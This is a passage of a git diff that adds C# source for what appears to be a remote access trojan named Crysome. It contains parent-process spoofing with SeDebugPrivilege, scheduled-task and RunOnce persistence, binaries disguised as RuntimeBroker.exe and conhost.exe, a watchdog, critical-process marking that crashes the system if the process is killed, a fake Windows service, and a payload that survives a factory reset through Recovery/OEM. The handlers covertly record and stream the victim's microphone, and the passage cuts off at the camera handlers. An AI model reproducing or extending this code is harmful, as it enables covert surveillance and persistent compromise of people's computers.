lpProcessInformation); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpSize); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern void DeleteProcThreadAttributeList(IntPtr lpAttributeList); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool CloseHandle(IntPtr hObject); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool OpenProcessToken(IntPtr ProcessHandle, int DesiredAccess, out IntPtr TokenHandle); + + [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] + private static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, int BufferLength, IntPtr PreviousState, IntPtr ReturnLength); + + [DllImport("kernel32.dll")] + private static extern IntPtr GetCurrentProcess(); + + private static void EnableDebugPrivilege() + { + try + { + if (OpenProcessToken(GetCurrentProcess(), 40, out var TokenHandle)) + { + TOKEN_PRIVILEGES NewState = default(TOKEN_PRIVILEGES); + NewState.PrivilegeCount = 1; + NewState.Attributes = 2; + if (LookupPrivilegeValue(null, "SeDebugPrivilege", out NewState.Luid)) + { + AdjustTokenPrivileges(TokenHandle, DisableAllPrivileges: false, ref NewState, 0, IntPtr.Zero, IntPtr.Zero); + } + CloseHandle(TokenHandle); + } + } + catch + { + } + } + + public static bool TrySpawnUnderParent(string parentName, string exePath, string args) + { + if (string.IsNullOrEmpty(parentName) || string.IsNullOrEmpty(exePath)) + { + return false; + } + EnableDebugPrivilege(); + int num = FindProcessIdByName(parentName); + if (num <= 0) + { + return false; + } + IntPtr intPtr = OpenProcess(128u, bInheritHandle: false, num); + if (intPtr == IntPtr.Zero) + { + return false; + } + try + { + IntPtr lpSize = IntPtr.Zero; + InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize); + InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize); + if (lpSize == IntPtr.Zero || lpSize.ToInt32() <= 0) + { + return false; + } + IntPtr intPtr2 = Marshal.AllocHGlobal(lpSize); + try + { + if (!InitializeProcThreadAttributeList(intPtr2, 1, 0, ref lpSize)) + { + return false; + } + try + { + IntPtr intPtr3 = Marshal.AllocHGlobal(IntPtr.Size); + try + { + Marshal.WriteIntPtr(intPtr3, intPtr); + if (!UpdateProcThreadAttribute(intPtr2, 0u, (IntPtr)131072, intPtr3, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero)) + { + return false; + } + } + finally + { + Marshal.FreeHGlobal(intPtr3); + } + STARTUPINFOEX lpStartupInfo = new STARTUPINFOEX + { + StartupInfo = new STARTUPINFO + { + cb = Marshal.SizeOf(typeof(STARTUPINFOEX)), + dwFlags = 1, + wShowWindow = 0 + }, + lpAttributeList = intPtr2 + }; + string text = "\"" + exePath + "\""; + if (!string.IsNullOrEmpty(args)) + { + text = text + " " + args; + } + if (CreateProcess(null, text, IntPtr.Zero, IntPtr.Zero, bInheritHandles: false, 134742016u, IntPtr.Zero, null, ref lpStartupInfo, out var lpProcessInformation)) + { + CloseHandle(lpProcessInformation.hProcess); + CloseHandle(lpProcessInformation.hThread); + return true; + } + Program.Log("ParentSpoof: CreateProcess failed. Err=" + Marshal.GetLastWin32Error()); + } + finally + { + DeleteProcThreadAttributeList(intPtr2); + } + } + finally + { + Marshal.FreeHGlobal(intPtr2); + } + } + finally + { + CloseHandle(intPtr); + } + Program.Log("ParentSpoof: Failed to spawn under " + parentName); + return false; + } + + private static int FindProcessIdByName(string name) + { + string text = name.ToLowerInvariant(); + if (!text.EndsWith(".exe")) + { + text += ".exe"; + } + try + { + Process[] processes = Process.GetProcesses(); + foreach (Process process in processes) + { + try + { + if ((process.ProcessName + ".exe").Equals(text, StringComparison.OrdinalIgnoreCase)) + { + int id = process.Id; + process.Dispose(); + return id; + } + } + catch + { + } + finally + { + process.Dispose(); + } + } + } + catch + { + } + return 0; + } +} diff --git a/Crysome.Client/Crysome.Client.Configuration/Persistence.cs b/Crysome.Client/Crysome.Client.Configuration/Persistence.cs new file mode 100644 index 0000000..25fae65 --- /dev/null +++ b/Crysome.Client/Crysome.Client.Configuration/Persistence.cs @@ -0,0 +1,32 @@ +using System.Diagnostics; + +namespace Crysome.Client.Configuration; + +public static class Persistence +{ + public static void Install() + { + if (!ClientConfiguration.Persistence) + { + return; + } + try + { + string processPath = ClientConfiguration.GetProcessPath(); + if (!string.IsNullOrEmpty(processPath)) + { + Process.Start(new ProcessStartInfo + { + FileName = "schtasks.exe", + Arguments = "/create /tn \"CrysomeLoader\" /tr \"" + processPath + "\" /sc minute /mo 5 /f", + UseShellExecute = false, + CreateNoWindow = true, + WindowStyle = ProcessWindowStyle.Hidden + })?.WaitForExit(10000); + } + } + catch + { + } + } +} diff --git a/Crysome.Client/Crysome.Client.Configuration/SelfProtect.cs b/Crysome.Client/Crysome.Client.Configuration/SelfProtect.cs new file mode 100644 index 0000000..37bc7c3 --- /dev/null +++ b/Crysome.Client/Crysome.Client.Configuration/SelfProtect.cs @@ -0,0 +1,444 @@ +using System; +using System.Diagnostics; +using System.IO; +using System.Runtime.InteropServices; +using System.Threading; +using Microsoft.Win32; + +namespace Crysome.Client.Configuration; + +public static class SelfProtect +{ + private static FileStream _fileLock; + + private static Thread _watchThread; + + private static volatile int _watcherPid = -1; + + private static string _primaryExeName = "RuntimeBroker.exe"; + + private static string PrimaryDir => Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Microsoft", "Windows"); + + private static string BackupDir => Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft", "CLR"); + + internal static string PrimaryExe + { + get + { + return Path.Combine(PrimaryDir, _primaryExeName); + } + set + { + _primaryExeName = Path.GetFileName(value); + } + } + + internal static string BackupExe => Path.Combine(BackupDir, "conhost.exe"); + + public static void RunAsWatcher(int mainPid) + { + try + { + LockOwnFile(); + } + catch + { + } + try + { + HidePath(GetCurrentExe()); + } + catch + { + } + while (true) + { + Thread.Sleep(2500); + bool flag = false; + try + { + flag = !Process.GetProcessById(mainPid).HasExited; + } + catch + { + flag = false; + } + if (!flag) + { + Thread.Sleep(800); + try + { + RestartFromBestCopy(); + } + catch + { + } + } + try + { + EnsureBackups(); + } + catch + { + } + } + } + + public static bool NeedsRelocation() + { + if (ClientConfiguration.IsHollowed) + { + return false; + } + string currentExe = GetCurrentExe(); + if (string.IsNullOrEmpty(currentExe)) + { + return false; + } + try + { + return !string.Equals(Path.GetFullPath(currentExe), Path.GetFullPath(PrimaryExe), StringComparison.OrdinalIgnoreCase); + } + catch + { + return true; + } + } + + public static bool RelocateAndRelaunch(string[] currentArgs) + { + if (ClientConfiguration.IsHollowed) + { + return false; + } + try + { + string currentExe = GetCurrentExe(); + if (string.IsNullOrEmpty(currentExe) || !File.Exists(currentExe)) + { + return false; + } + byte[] bytes = File.ReadAllBytes(currentExe); + try + { + Process[] processesByName = Process.GetProcessesByName(Path.GetFileNameWithoutExtension(PrimaryExe)); + foreach (Process process in processesByName) + { + try + { + process.Kill(); + } + catch + { + } + } + } + catch + { + } + Directory.CreateDirectory(PrimaryDir); + string primaryExe = PrimaryExe; + try + { + File.WriteAllBytes(primaryExe, bytes); + } + catch (IOException) + { + PrimaryExe = Path.Combine(PrimaryDir, "RuntimeBroker_svc.exe"); + primaryExe = PrimaryExe; + try + { + File.WriteAllBytes(primaryExe, bytes); + } + catch + { + } + } + HidePath(primaryExe); + Directory.CreateDirectory(BackupDir); + try + { + File.WriteAllBytes(BackupExe, bytes); + } + catch + { + } + HidePath(BackupExe); + string text = ""; + if (currentArgs != null) + { + foreach (string text2 in currentArgs) + { + if (!text2.StartsWith("--watcher", StringComparison.OrdinalIgnoreCase)) + { + text = text + " " + text2; + } + } + } + Process.Start(new ProcessStartInfo(PrimaryExe, text.Trim()) + { + UseShellExecute = false, + CreateNoWindow = true, + WindowStyle = ProcessWindowStyle.Hidden + }); + return true; + } + catch (Exception ex2) + { + Program.Log("SelfProtect relocate: " + ex2.Message); + return false; + } + } + + public static void Start() + { + if (ClientConfiguration.IsHollowed) + { + Program.Log("SelfProtect: hollowed mode — skipping file ops, watchdog, startup reg"); + _watchThread = new Thread(MonitorWatcher) + { + IsBackground = true + }; + _watchThread.Start(); + return; + } + LockOwnFile(); + HidePath(GetCurrentExe()); + EnsureBackups(); + AddStartupRegistry(); + SpawnWatcher(); + _watchThread = new Thread(MonitorWatcher) + { + IsBackground = true + }; + _watchThread.Start(); + Program.Log("SelfProtect: active (watchdog + lock + hidden + startup)"); + } + + private static void LockOwnFile() + { + try + { + string currentExe = GetCurrentExe(); + if (!string.IsNullOrEmpty(currentExe) && File.Exists(currentExe) && _fileLock == null) + { + _fileLock = new FileStream(currentExe, FileMode.Open, FileAccess.Read, FileShare.Read); + } + } + catch + { + } + } + + private static void HidePath(string path) + { + if (string.IsNullOrEmpty(path)) + { + return; + } + try + { + if (File.Exists(path)) + { + File.SetAttributes(path, File.GetAttributes(path) | FileAttributes.Hidden | FileAttributes.System); + } + } + catch + { + } + try + { + string directoryName = Path.GetDirectoryName(path); + if (!string.IsNullOrEmpty(directoryName) && Directory.Exists(directoryName)) + { + new DirectoryInfo(directoryName).Attributes |= FileAttributes.Hidden; + } + } + catch + { + } + } + + private static void EnsureBackups() + { + string currentExe = GetCurrentExe(); + if (!string.IsNullOrEmpty(currentExe) && File.Exists(currentExe)) + { + CopyIfMissing(currentExe, PrimaryDir, PrimaryExe); + CopyIfMissing(currentExe, BackupDir, BackupExe); + } + } + + private static void CopyIfMissing(string source, string dir, string dest) + { + try + { + if (!File.Exists(dest)) + { + Directory.CreateDirectory(dir); + File.Copy(source, dest, overwrite: true); + HidePath(dest); + } + } + catch + { + } + } + + private static void AddStartupRegistry() + { + try + { + string text = (File.Exists(PrimaryExe) ? PrimaryExe : GetCurrentExe()); + using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", writable: true); + registryKey?.SetValue("RuntimeBroker", "\"" + text + "\"", RegistryValueKind.String); + } + catch + { + } + } + + private static void SpawnWatcher() + { + if (ClientConfiguration.IsHollowed) + { + return; + } + try + { + string text = (File.Exists(BackupExe) ? BackupExe : PrimaryExe); + if (File.Exists(text)) + { + Process process = Process.Start(new ProcessStartInfo(text, "--watcher " + Process.GetCurrentProcess().Id) + { + UseShellExecute = false, + CreateNoWindow = true, + WindowStyle = ProcessWindowStyle.Hidden + }); + if (process != null) + { + _watcherPid = process.Id; + } + } + } + catch + { + } + } + + private static void MonitorWatcher() + { + try + { + SetCriticalProcess(); + } + catch + { + } + try + { + ProtectProcess(); + } + catch + { + } + while (true) + { + Thread.Sleep(3000); + if (_watcherPid <= 0) + { + SpawnWatcher(); + continue; + } + bool flag = false; + try + { + flag = !Process.GetProcessById(_watcherPid).HasExited; + } + catch + { + flag = false; + } + if (!flag) + { + _watcherPid = -1; + SpawnWatcher(); + } + try + { + EnsureBackups(); + } + catch + { + } + } + } + + [DllImport("ntdll.dll", SetLastError = true)] + private static extern void RtlSetProcessIsCritical([MarshalAs(UnmanagedType.U1)] bool bNew, [MarshalAs(UnmanagedType.U1)] ref bool pbOld, [MarshalAs(UnmanagedType.U1)] bool bNeedScb); + + private static void SetCriticalProcess() + { + try + { + Process.EnterDebugMode(); + bool pbOld = false; + RtlSetProcessIsCritical(bNew: true, ref pbOld, bNeedScb: false); + Program.Log("SelfProtect: Critical process set (BSOD on kill)"); + } + catch (Exception ex) + { + Program.Log("SelfProtect: Failed to set critical process: " + ex.Message); + } + } + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool SetKernelObjectSecurity(IntPtr Handle, int SecurityInformation, IntPtr SecurityDescriptor); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool ConvertStringSecurityDescriptorToSecurityDescriptor(string StringSecurityDescriptor, uint StringSDRevision, out IntPtr SecurityDescriptor, out uint SecurityDescriptorSize); + + private static void ProtectProcess() + { + try + { + IntPtr handle = Process.GetCurrentProcess().Handle; + IntPtr SecurityDescriptor = IntPtr.Zero; + uint SecurityDescriptorSize = 0u; + if (ConvertStringSecurityDescriptorToSecurityDescriptor("D:(D;;0x0001;;;WD)", 1u, out SecurityDescriptor, out SecurityDescriptorSize)) + { + SetKernelObjectSecurity(handle, 4, SecurityDescriptor); + } + } + catch + { + } + } + + private static void RestartFromBestCopy() + { + string text = null; + if (File.Exists(PrimaryExe)) + { + text = PrimaryExe; + } + else if (File.Exists(BackupExe)) + { + text = BackupExe; + } + if (text != null) + { + Process.Start(new ProcessStartInfo(text) + { + UseShellExecute = false, + CreateNoWindow = true, + WindowStyle = ProcessWindowStyle.Hidden + }); + } + } + + private static string GetCurrentExe() + { + return ClientConfiguration.GetProcessPath(); + } +} diff --git a/Crysome.Client/Crysome.Client.Configuration/Survival.cs b/Crysome.Client/Crysome.Client.Configuration/Survival.cs new file mode 100644 index 0000000..0adff73 --- /dev/null +++ b/Crysome.Client/Crysome.Client.Configuration/Survival.cs @@ -0,0 +1,257 @@ +using System; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Xml.Linq; + +namespace Crysome.Client.Configuration; + +public static class Survival +{ + private static readonly Random _rnd = new Random(); + + private static string SystemDrive => Path.GetPathRoot(Environment.SystemDirectory); + + private static string OEMPath => Path.Combine(SystemDrive, "Recovery", "OEM"); + + private static string BackupPath => Path.Combine(OEMPath, "CrysomeBackup"); + + private static string ResetConfigPath => Path.Combine(OEMPath, "ResetConfig.xml"); + + private static string RandomString(int len) + { + return new string((from _ in Enumerable.Range(0, len) + select "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"[_rnd.Next("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789".Length)]).ToArray()); + } + + private static string EscapePayload(string cmd) + { + return cmd.Replace("%", "%%").Replace("^", "^^").Replace("&", "^&") + .Replace("|", "^|") + .Replace("<", "^<") + .Replace(">", "^>") + .Replace("\"", "\"\""); + } + + private static string CreatePayload(string command) + { + string text = RandomString(20); + string text2 = EscapePayload(command); + return "\r\n@echo off\r\nfor /F \"tokens=1,2,3 delims= \" %%%A in ('reg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\RecoveryEnvironment\" /v TargetOS') DO SET TARGETOS=%%%C\r\n\r\nfor /F \"tokens=1 delims=\\\" %%%A in ('Echo %TARGETOS%') DO SET TARGETOSDRIVE=%%%A\r\n\r\nreg load HKLM\\" + text + " %TARGETOSDRIVE%\\windows\\system32\\config\\SOFTWARE\r\n\r\nreg add HKLM\\" + text + "\\Microsoft\\Windows\\CurrentVersion\\RunOnce /v " + text + " /t REG_SZ /d \"" + text2 + "\"\r\n\r\nreg unload HKLM\\" + text + "\r\n\r\n\r\n"; + } + + public static void Install() + { + if (!ClientConfiguration.IsFeatureEnabled("survival")) + { + return; + } + try + { + InstallService(); + InstallResetSurvival(); + } + catch (Exception ex) + { + Program.Log("Survival error: " + ex.Message); + } + } + + private static void InstallResetSurvival() + { + try + { + string processPath = ClientConfiguration.GetProcessPath(); + if (!string.IsNullOrEmpty(processPath) && File.Exists(processPath) && CreateEnvironment()) + { + byte[] bytes = File.ReadAllBytes(processPath); + string text = RandomString(12) + ".exe"; + string text2 = Path.Combine(OEMPath, text); + File.WriteAllBytes(text2, bytes); + Program.Log("Survival: Reset stub written " + text); + CreatePayload("cmd /c " + text2); + } + } + catch + { + } + } + + private static void InstallService() + { + try + { + string processPath = ClientConfiguration.GetProcessPath(); + string text = "WindowsHealthMonitor"; + string text2 = "Windows System Health Monitor"; + string text3 = "Monitors system health and performance diagnostics."; + if (ServiceExists(text)) + { + Program.Log("Survival: Service already exists."); + return; + } + RunSc("create \"" + text + "\" binPath= \"" + processPath + "\" start= auto DisplayName= \"" + text2 + "\""); + RunSc("description \"" + text + "\" \"" + text3 + "\""); + RunSc("failure \"" + text + "\" reset= 0 actions= restart/60000/restart/60000/restart/60000"); + RunSc("start \"" + text + "\""); + Program.Log("Survival: Service installed (" + text + ")"); + } + catch (Exception ex) + { + Program.Log("Survival: Service install failed - " + ex.Message); + } + } + + private static bool ServiceExists(string serviceName) + { + try + { + Process process = Process.Start(new ProcessStartInfo("sc", "query \"" + serviceName + "\"") + { + UseShellExecute = false, + CreateNoWindow = true, + RedirectStandardOutput = true + }); + string text = process.StandardOutput.ReadToEnd(); + process.WaitForExit(); + return !text.Contains("1060"); + } + catch + { + return false; + } + } + + private static void RunSc(string args) + { + try + { + Process.Start(new ProcessStartInfo("sc", args) + { + UseShellExecute = false, + CreateNoWindow = true, + WindowStyle = ProcessWindowStyle.Hidden + }).WaitForExit(); + } + catch + { + } + } + + private static bool CreateEnvironment() + { + try + { + if (!Directory.Exists(OEMPath)) + { + Directory.CreateDirectory(OEMPath); + } + if (Directory.Exists(BackupPath)) + { + return false; + } + Directory.CreateDirectory(BackupPath); + return true; + } + catch + { + return false; + } + } + + private static bool BackupConfig(string basicBat, string factoryBat, string stubName) + { + try + { + File.WriteAllLines(Path.Combine(BackupPath, "DELETEME"), new string[3] { basicBat, factoryBat, stubName }); + if (File.Exists(ResetConfigPath)) + { + File.Copy(ResetConfigPath, Path.Combine(BackupPath, "configBackup"), overwrite: true); + } + return true; + } + catch + { + return false; + } + } + + private static void SaveScript(string fileName, string payload, string extra = null) + { + string text = payload; + if (!string.IsNullOrEmpty(extra)) + { + text += extra; + } + File.WriteAllText(Path.Combine(OEMPath, fileName), text); + } + + private static void CreateOrUpdateResetConfig(string basicBat, string factoryBat, string payload) + { + if (!File.Exists(ResetConfigPath)) + { + CreateNewConfig(basicBat, factoryBat, payload); + } + else + { + UpdateExistingConfig(basicBat, factoryBat, payload); + } + } + + private static XElement CreateRunElem(string phase, string path, int duration) + { + return new XElement("Run", new XAttribute("Phase", phase), new XElement("Path", path), new XElement("Duration", duration)); + } + + private static void CreateNewConfig(string basicBat, string factoryBat, string payload) + { + new XDocument(new XDeclaration("1.0", "utf-8", null), new XElement("Reset", CreateRunElem("BasicReset_AfterImageApply", basicBat, 1), CreateRunElem("FactoryReset_AfterImageApply", factoryBat, 1))).Save(ResetConfigPath); + SaveScript(basicBat, payload); + SaveScript(factoryBat, payload); + } + + private static void UpdateExistingConfig(string basicBat, string factoryBat, string payload) + { + XElement xElement = XElement.Load(ResetConfigPath); + XElement[] array = (from e in xElement.Elements("Run") + where (string)e.Attribute("Phase") == "FactoryReset_AfterImageApply" || (string)e.Attribute("Phase") == "BasicReset_AfterImageApply" + select e).ToArray(); + int num = 1; + XElement[] array2 = array; + for (int num2 = 0; num2 < array2.Length; num2++) + { + XElement xElement2 = array2[num2].Element("Duration"); + if (xElement2 != null && int.TryParse(xElement2.Value, out var result) && result > num) + { + num = result; + } + } + string text = UpdatePhase(array, "BasicReset_AfterImageApply", basicBat); + string text2 = UpdatePhase(array, "FactoryReset_AfterImageApply", factoryBat); + if (text == null) + { + xElement.Add(CreateRunElem("BasicReset_AfterImageApply", basicBat, num)); + } + if (text2 == null) + { + xElement.Add(CreateRunElem("FactoryReset_AfterImageApply", factoryBat, num)); + } + SaveScript(basicBat, payload, text); + SaveScript(factoryBat, payload, text2); + xElement.Save(ResetConfigPath); + } + + private static string UpdatePhase(XElement[] phases, string phaseName, string fileName) + { + XElement xElement = phases.FirstOrDefault((XElement e) => (string)e.Attribute("Phase") == phaseName); + if (xElement == null) + { + return null; + } + string text = "%TARGETOSDRIVE%\\Recovery\\OEM\\" + (string)xElement.Element("Path"); + string text2 = ((string)xElement.Element("Param")) ?? ""; + xElement.Element("Param")?.Remove(); + xElement.Element("Path").Value = fileName; + return "\"" + text + "\" " + text2; + } +} diff --git a/Crysome.Client/Crysome.Client.Handlers/AudioHandlers.cs b/Crysome.Client/Crysome.Client.Handlers/AudioHandlers.cs new file mode 100644 index 0000000..03f71f3 --- /dev/null +++ b/Crysome.Client/Crysome.Client.Handlers/AudioHandlers.cs @@ -0,0 +1,315 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Threading; +using Crysome.Common.Network; +using Crysome.Common.Network.Packets; +using Crysome.Common.Network.Packets.Client; +using Crysome.Common.Network.Packets.Server; +using NAudio.Wave; + +namespace Crysome.Client.Handlers; + +public static class AudioHandlers +{ + private static volatile bool _streamRunning; + + private static WaveInEvent _streamWaveIn; + + private static CrysomeClient _streamClient; + + public static void HandleGetAudioDevices(CrysomeClient client, IPacket packet) + { + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Expected O, but got Unknown + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Expected O, but got Unknown + Program.Log("[MIC] HandleGetAudioDevices ENTER"); + try + { + string[] audioDeviceNames = GetAudioDeviceNames(); + Program.Log("[MIC] GetAudioDeviceNames returned " + ((audioDeviceNames != null) ? audioDeviceNames.Length : 0) + " devices"); + client.SendPacket((IPacket)new AudioDevicesResponsePacket(audioDeviceNames)); + Program.Log("[MIC] HandleGetAudioDevices sent response OK"); + } + catch (Exception ex) + { + Program.Log("[MIC] GetAudioDevices EXCEPTION: " + ex.GetType().Name + " " + ex.Message); + Program.Log("[MIC] Stack: " + ex.StackTrace); + try + { + client.SendPacket((IPacket)new AudioDevicesResponsePacket(new string[0])); + Program.Log("[MIC] Sent empty fallback"); + } + catch (Exception ex2) + { + Program.Log("[MIC] Fallback send failed: " + ex2.Message); + } + } + } + + public static void HandleRequestAudio(CrysomeClient client, IPacket packet) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Expected O, but got Unknown + //IL_00ea: Unknown result type (might be due to invalid IL or missing references) + //IL_00f4: Expected O, but got Unknown + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + //IL_0098: Expected O, but got Unknown + Program.Log("[MIC] HandleRequestAudio ENTER"); + try + { + RequestAudioPacket val = (RequestAudioPacket)packet; + int seconds = Math.Max(1, Math.Min(30, val.Seconds)); + int deviceIndex = Math.Max(0, val.DeviceIndex); + Program.Log("[MIC] RecordMicrophone sec=" + seconds + " idx=" + deviceIndex); + byte[] array = RecordMicrophone(seconds, deviceIndex); + Program.Log("[MIC] Record done, " + ((array != null) ? array.Length : 0) + " bytes"); + client.SendPacket((IPacket)new AudioDataPacket(array ?? new byte[0])); + Program.Log("[MIC] HandleRequestAudio sent OK"); + } + catch (Exception ex) + { + Program.Log("[MIC] RequestAudio EXCEPTION: " + ex.GetType().Name + " " + ex.Message); + Program.Log("[MIC] Stack: " + ex.StackTrace); + try + { + client.SendPacket((IPacket)new AudioDataPacket(new byte[0])); + } + catch + { + } + } + } + + public static void HandleStartAudioStream(CrysomeClient client, IPacket packet) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Expected O, but got Unknown + Program.Log("[MIC] HandleStartAudioStream ENTER"); + try + { + StartAudioStreamPacket val = (StartAudioStreamPacket)packet; + int deviceIndex = Math.Max(0, val.DeviceIndex); + StartStream(client, deviceIndex); + Program.Log("[MIC] HandleStartAudioStream OK"); + } + catch (Exception ex) + { + Program.Log("[MIC] StartAudioStream EXCEPTION: " + ex.GetType().Name + " " + ex.Message + " Stack: " + ex.StackTrace); + } + } + + public static void HandleStopAudioStream(CrysomeClient client, IPacket packet) + { + StopStream(); + } + + public static string[] GetAudioDeviceNames() + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + Program.Log("[MIC] GetAudioDeviceNames ENTER"); + try + { + List list = new List(); + int deviceCount = WaveIn.DeviceCount; + for (int i = 0; i < deviceCount; i++) + { + WaveInCapabilities capabilities = WaveIn.GetCapabilities(i); + list.Add(capabilities.ProductName?.Trim() ?? ("Microphone " + i)); + } + return list.ToArray(); + } + catch (FileNotFoundException ex) + { + Program.Log("[MIC] NAudio DLL missing: " + ex.FileName + " - copy NAudio*.dll next to exe"); + return new string[0]; + } + catch (Exception ex2) + { + Program.Log("[MIC] GetAudioDeviceNames: " + ex2.Message); + return new string[0]; + } + } + + private static void StartStream(CrysomeClient client, int deviceIndex) + { + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Expected O, but got Unknown + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Expected O, but got Unknown + lock (typeof(AudioHandlers)) + { + if (_streamRunning) + { + return; + } + _streamClient = client; + _streamRunning = true; + } + try + { + WaveFormat waveFormat = new WaveFormat(16000, 16, 1); + int deviceNumber = ((WaveIn.DeviceCount > 0) ? Math.Min(deviceIndex, WaveIn.DeviceCount - 1) : 0); + _streamWaveIn = new WaveInEvent + { + DeviceNumber = deviceNumber, + WaveFormat = waveFormat + }; + _streamWaveIn.DataAvailable += delegate(object s, WaveInEventArgs e) + { + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Expected O, but got Unknown + if (_streamRunning) + { + CrysomeClient streamClient = _streamClient; + if (streamClient != null && streamClient.IsConnected) + { + try + { + byte[] array = new byte[e.BytesRecorded]; + Array.Copy(e.Buffer, array, e.BytesRecorded); + _streamClient.SendPacket((IPacket)new AudioStreamChunkPacket(array)); + } + catch + { + } + } + } + }; + _streamWaveIn.StartRecording(); + } + catch (Exception ex) + { + Program.Log("AudioStream: " + ex.Message); + _streamRunning = false; + } + } + + private static void StopStream() + { + lock (typeof(AudioHandlers)) + { + _streamRunning = false; + try + { + WaveInEvent streamWaveIn = _streamWaveIn; + if (streamWaveIn != null) + { + streamWaveIn.StopRecording(); + } + WaveInEvent streamWaveIn2 = _streamWaveIn; + if (streamWaveIn2 != null) + { + streamWaveIn2.Dispose(); + } + } + catch + { + } + _streamWaveIn = null; + _streamClient = null; + } + } + + private static byte[] RecordMicrophone(int seconds, int deviceIndex) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Expected O, but got Unknown + //IL_015b: Unknown result type (might be due to invalid IL or missing references) + //IL_0162: Expected O, but got Unknown + try + { + WaveFormat val = new WaveFormat(44100, 16, 1); + int deviceNumber = ((WaveIn.DeviceCount > 0) ? Math.Min(Math.Max(0, deviceIndex), WaveIn.DeviceCount - 1) : 0); + WaveInEvent val2 = new WaveInEvent + { + DeviceNumber = deviceNumber + }; + val2.WaveFormat = val; + List buffers = new List(); + DateTime dateTime = DateTime.Now.AddSeconds(seconds); + val2.DataAvailable += delegate(object s, WaveInEventArgs e) + { + byte[] array2 = new byte[e.BytesRecorded]; + Array.Copy(e.Buffer, array2, e.BytesRecorded); + lock (buffers) + { + buffers.Add(array2); + } + }; + val2.StartRecording(); + while (DateTime.Now < dateTime) + { + Thread.Sleep(100); + } + val2.StopRecording(); + val2.Dispose(); + byte[] array; + lock (buffers) + { + int num = 0; + foreach (byte[] item in buffers) + { + num += item.Length; + } + array = new byte[num]; + int num2 = 0; + foreach (byte[] item2 in buffers) + { + Array.Copy(item2, 0, array, num2, item2.Length); + num2 += item2.Length; + } + } + MemoryStream memoryStream = new MemoryStream(); + WaveFileWriter val3 = new WaveFileWriter((Stream)memoryStream, val); + ((Stream)(object)val3).Write(array, 0, array.Length); + ((Stream)(object)val3).Flush(); + byte[] result = memoryStream.ToArray(); + ((Stream)(object)val3).Dispose(); + return result; + } + catch (Exception) + { + return CreateSilenceWav(seconds); + } + } + + private static byte[] CreateSilenceWav(int seconds) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Expected O, but got Unknown + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Expected O, but got Unknown + try + { + WaveFormat val = new WaveFormat(44100, 16, 1); + MemoryStream memoryStream = new MemoryStream(); + WaveFileWriter val2 = new WaveFileWriter((Stream)memoryStream, val); + try + { + int num = val.SampleRate * val.BitsPerSample / 8 * val.Channels; + byte[] array = new byte[Math.Min(num, 88200)]; + for (long num2 = 0L; num2 < (long)num * (long)seconds; num2 += array.Length) + { + ((Stream)(object)val2).Write(array, 0, (int)Math.Min(array.Length, (long)num * (long)seconds - num2)); + } + } + finally + { + ((IDisposable)val2)?.Dispose(); + } + return memoryStream.ToArray(); + } + catch + { + return new byte[0]; + } + } +} diff --git a/Crysome.Client/Crysome.Client.Handlers/CameraHandlers.cs b/Crysome.Client/Crysome.Client.Handlers/CameraHandlers.cs new file mode 100644 index 0000000..d62af97 --- /dev/null +++ b/Crysome.Client/Crysome.Client.Handlers/CameraHandlers.cs @@ -0,0 +1,157 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Threading; +using AForge.Video; +using AForge.Video.DirectShow; +using Crysome.Common.Network; +using Crysome.Common.Network.Packets; +using Crysome.Common.Network.Packets.Client; +using Crysome.Common.Network.Packets.Server; + +namespace Crysome.Client.Handlers; + +public static class CameraHandlers +{ + public static void HandleGetCameraDevices(CrysomeClient client, IPacket packet) + { + //IL_008f: Unknown result type (might be due to invalid IL or 